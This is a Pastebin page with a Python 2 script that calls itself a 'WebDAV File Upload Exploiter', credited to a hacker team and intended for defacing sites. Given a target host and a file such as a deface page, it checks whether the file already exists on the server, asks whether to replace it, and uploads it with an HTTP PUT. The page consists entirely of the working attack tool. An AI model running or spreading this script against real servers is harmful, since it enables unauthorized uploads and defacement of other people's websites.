Advertisement
RyukiChan

Webdav

Dec 19th, 2018
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.88 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import requests
  4. import string
  5. import random
  6. import sys
  7. import os
  8.  
  9. os.system("clear")
  10.  
  11. print """
  12. __      __      ___.   ________      _________   ____
  13. /  \   /  \ ____\_ |__ \______ \   /  _  \  \ /   /
  14. \  \/\/   // __ \| __ \ |    |  \ /  /_\ \  Y   /
  15. \       /\ ___/| \_\ \|    `   \/    |    \    /  
  16.  \__/\ /  \___  >___  /_______  /\____|__  /\___/  
  17.       \/       \/    \/        \/         \/         """
  18.  
  19. def webdav():
  20.   sc = ''
  21.   with open(sys.argv[2], 'rb') as f:
  22.       depes = f.read()
  23.   script = depes
  24.   host = sys.argv[1]
  25.   if not host.startswith('http'):
  26.     host = 'http://' + host
  27.   nama = '/'+sys.argv[2]
  28.  
  29.  
  30.   print("[*] Upload File Nama : %s") % (sys.argv[2])
  31.   print("[*] Uploading %d bytes, Script Baru") % len(script)
  32.  
  33.   r = requests.request('put', host + nama, data=script, headers={'Content-Type':'application/octet-stream'})
  34.  
  35.   if r.status_code < 200 or r.status_code >= 300:
  36.     print("[!] Upload failed . . .")
  37.     sys.exit(1)
  38.   else:
  39.     print("[+] File uploaded . . .")
  40.     print("[+] PATH : "+host + nama)
  41.  
  42.  
  43. def cekfile():
  44.  print("""
  45. [*] WebDAV File Upload Exploiter
  46. [*] Coded To Python By AndroSec1337 Cyber Team
  47. [*] Thx To Tu5b0l3d IndoXploit For PHP Exploit
  48. """)
  49.  print("[*] Cek File Di Target : "+sys.argv[1]+"/"+sys.argv[2])
  50.  r = requests.get(sys.argv[1] +"/"+ sys.argv[2])
  51.  if r.status_code == requests.codes.ok:
  52.   print("[*] Di Temukan File Yg Sama Di Target . . .")
  53.   tanya = raw_input("[!] Replace File Target ? [Y/N] > ")
  54.   if tanya == "Y":
  55.    webdav()
  56.   else:
  57.    print("[!] Exiting Tools . . .")
  58.    sys.exit()
  59.  else:
  60.    print("[*] File Ga Di Target . . .")
  61.    print("[*] Proses Upload Script lu . . .")
  62.    webdav()
  63.  
  64.  
  65. if __name__ == '__main__':
  66.   if len(sys.argv) != 3:
  67.     print("\n[*] Usage: "+sys.argv[0]+" Target.com ScriptDeface.htm\n")
  68.     sys.exit(0)
  69.   else:
  70.     cekfile()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement